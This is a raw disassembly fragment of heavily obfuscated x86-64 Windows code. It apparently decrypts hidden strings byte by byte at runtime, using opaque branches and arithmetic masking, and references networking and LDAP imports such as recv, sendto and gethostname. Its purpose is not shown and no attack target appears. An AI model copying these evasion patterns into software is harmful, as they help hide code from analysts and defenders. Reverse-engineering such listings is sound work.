movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14021cdeb
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r10 + 0xf70], dil
jmp 0x14021d28e
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14021cd1f
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021d22f
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14021d0a3
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x14021d203
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14021d1ab
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14021d131
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14021d164
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x14021cdd6
lea rdx, [r10 + r11]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r9 + rbx]
cmp rax, 2
je 0x14021d07c
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14021ceba
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, r14
jae 0x14021d04e
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x14021cf5f
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x14021cc1e
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14021d164
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14021ce03
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, esi
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021d27f
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14021ce2f
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14021d0a3
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14021ce5b
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14021d200
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14021ce87
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x14021d1d5
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14021cd2f
movabs rdx, 0x6dd559e20be47db8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x14021d164
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14021cee6
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x14021d164
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14021cf03
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14021d131
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14021cf30
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14021d203
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14021cd6c
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x14021d0a3
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14021cf7c
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14021cdeb
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14021cfa8
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14021d22f
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14021cfd5
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x14021d200
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14021cff2
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14021d1c2
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14021d01d
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x14021d1ab
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14021cda4
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x14021d188
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xf70]
sub dil, al
sub dil, 0x20
add dil, dl
add dil, r8b
jmp 0x14021d1d5
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, esi
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xf70]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xf70], al
add r9, r12
add rax, r9
sub r10, rax
jmp 0x14021d22f
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x14021d203
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x14021d1d5
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021d188
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xf70], cl
add r9, r12
jmp 0x14021d1ab
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, r12
jmp 0x14021d28e
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, dil
mov byte [rbp + r10 + 0xf70], dl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14021d28e
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xf70], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14021d27f
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xf70]
add rax, r9
add r10, rax
add r10, r12
jmp 0x14021c8e8
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x14021c8df
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14021c8c9
lea rdx, [rbp + 0x16a1180]
jmp 0x14021d2f4
lea rdx, [rbp + 0x6bcd0c]
jmp 0x14021d2f4
lea rdx, [rbp + 0xf70]
lea rcx, [rbp + 0x218]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2eb0]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14021d329
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov esi, 0x40
mov r9d, esi
lea r8d, [rsi - 0x3e]
lea rcx, [rbp + 0x2eb0]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2eb0]
call fcn.140266950
nop
lea rcx, [rbp + 0x2eb0]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x9b0], 0x9b
mov byte [rbp + 0x9b1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x9b2], 0x90
mov byte [rbp + 0x9b3], 0xdb
mov byte [rbp + 0x9b4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x9b5], Ordinal_217
mov byte [rbp + 0x9b6], 0x7b
mov byte [rbp + 0x9b7], Ordinal_217
mov byte [rbp + 0x9b8], 0x43
mov byte [rbp + 0x9b9], Ordinal_211
mov byte [rbp + 0x9ba], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x9bb], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x9bc], 0x5e
mov byte [rbp + 0x9bd], Ordinal_211
mov byte [rbp + 0x9be], 0x5d
mov byte [rbp + 0x9bf], Ordinal_211
mov byte [rbp + 0x9c0], WSAGetLastError
mov byte [rbp + 0x9c1], 0xc9
mov byte [rbp + 0x9c2], 0x7a
mov byte [rbp + 0x9c3], 0xcb
mov byte [rbp + 0x9c4], Ordinal_79
mov byte [rbp + 0x9c5], Ordinal_200
mov byte [rbp + 0x9c6], 0x64
mov byte [rbp + 0x9c7], Ordinal_200
mov byte [rbp + 0x9c8], 0x54
mov byte [rbp + 0x9c9], 0xc1
mov byte [rbp + 0x9ca], 0x5b
mov byte [rbp + 0x9cb], Ordinal_200
mov byte [rbp + 0x9cc], 0x9f
mov byte [rbp + 0x9cd], 0x3d
mov byte [rbp + 0x9ce], 0x9a
mov byte [rbp + 0x9cf], 0x3f
mov byte [rbp + 0x9d0], 0x84
mov byte [rbp + 0x9d1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x9d2], 0xa8
mov byte [rbp + 0x9d3], Ordinal_60
mov byte [rbp + 0x9d4], 0xad
mov byte [rbp + 0x9d5], gethostname
mov byte [rbp + 0x9d6], 0xb8
mov byte [rbp + 0x9d7], Ordinal_60
mov byte [rbp + 0x9d8], 0xad
mov byte [rbp + 0x9d9], Ordinal_50
mov byte [rbp + 0x9da], 0xa0
mov byte [rbp + 0x9db], gethostname
mov byte [rbp + 0x9dc], 0xbf
mov byte [rbp + 0x9dd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x9de], 0x78
mov byte [rbp + 0x9df], Ordinal_50
mov byte [rbp + 0x9e0], Ordinal_143
mov byte [rbp + 0x9e1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x9e2], 0xb3
mov byte [rbp + 0x9e3], Ordinal_46
mov byte [rbp + 0x9e4], 0xb2
mov byte [rbp + 0x9e5], Ordinal_41
mov byte [rbp + 0x9e6], Ordinal_41
mov byte [rbp + 0x9e7], Ordinal_41
xor eax, eax
mov qword [rbp + 0x9e8], rax
mov dword [rbp + 0x9f0], eax
mov word [rbp + 0x9f4], ax
mov byte [rbp + 0x9f6], al
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x14021e04d
movzx r8d, byte [rbp + r9 + 0x9b0]
mov rdx, r8
cmp rbx, r9
ja 0x14021e044
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14021d571
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x44
jmp 0x14021d5a8
je 0x14021dfbe
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14021df8d
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14021df6a
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14021df1b
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14021e03b
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x14021d5da
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x14021d61b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14021df0a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14021dee6
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14021de99
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14021de72
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14021dde4
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14021dab5
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14021daa1
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x14021da7f
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14021da6d
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14021da4a
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x14021da36
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x14021da13
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14021d9ec
lea rbx, [r10 + 0x5a]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x14021e018
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14021dff1
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x14021d7ce
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14021d7a7
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x14021d781
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14021d986
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x14021d8fb
mov rbx, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14021d8e7
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14021d8c4
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14021d8b0
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x14021d88d
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x14021d86b
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14021d84a
lea rcx, [r10 + 9]
cmp rbx, rcx
ja 0x14021d827
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x14021d813
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x14021d7f0
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x14021d628
mov rbx, rcx
lea r10, [rcx + 6]
jmp 0x14021d628
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x14
add dil, dl
jmp 0x14021d61b
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021d5a8
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x14021d538
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x14021df3d
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x14021dbb9
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x14021df88
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14021ddb3
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x14021dfab
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14021dfae
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14021ddf3
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14021de3a
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14021daf4
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
cmp rbx, 4
jae 0x14021dd90
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x14021dc88
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
cmp r10, 4
jb 0x14021dd83
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14021df3d
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x1000
je 0x14021ddbe
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x14021db75
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021d91c
movabs rdx, 0x74d06cabcb703da8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021de06
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x14021dfae
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x14021de81
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14021deba
movabs rdx, 0xc116b11609a3a288
mov ecx, r15d
jmp 0x14021def5
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x14021df65
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_30
jmp 0x14021df2a
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x14021dadc
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021d9a8
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14021db0c
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021dfda
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14021db29
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_30
jmp 0x14021ddf3
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14021db54
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x14021dfae
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14021d9a8
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14021def5
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14021dba1
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x14021df3d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14021dbd1
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021df65
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14021dbfc
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x14021dfab
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14021dc28
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x14021de06
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14021dc58
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021de3a
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x14021d91c
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x14021dfda
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14021dca5
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14021daf4
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14021dcc2
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14021ddf3
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14021dcdf
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14021de81
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14021dd0b
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14021deba
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14021dd36
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x14021df88
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14021dd53
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14021dbb9
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x14021d954
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x14021df3d
mov byte [rbp + r9 + 0x9b0], dil
jmp 0x14021dfe9
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x9b0]
sub dil, al
sub dil, 0x60
add dil, dl
add dil, r8b
jmp 0x14021deba
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x9b0]
jmp 0x14021de00
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x9b0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x9b0], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14021dfda
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021dfab
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x9b0], cl
jmp 0x14021dfab
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021df88
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14021df2a
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x9b0], cl
add r10, r12
jmp 0x14021df88
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
sub r9, r12
jmp 0x14021dfe9
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14021dfe9
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x34
movzx eax, byte [rbp + r9 + 0x9b0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14021d525
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021d522
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x14021d512
lea rdx, [rbp + 0x16f10e0]
jmp 0x14021e054
lea rdx, [rbp + 0x68a444]
jmp 0x14021e054
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x238]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
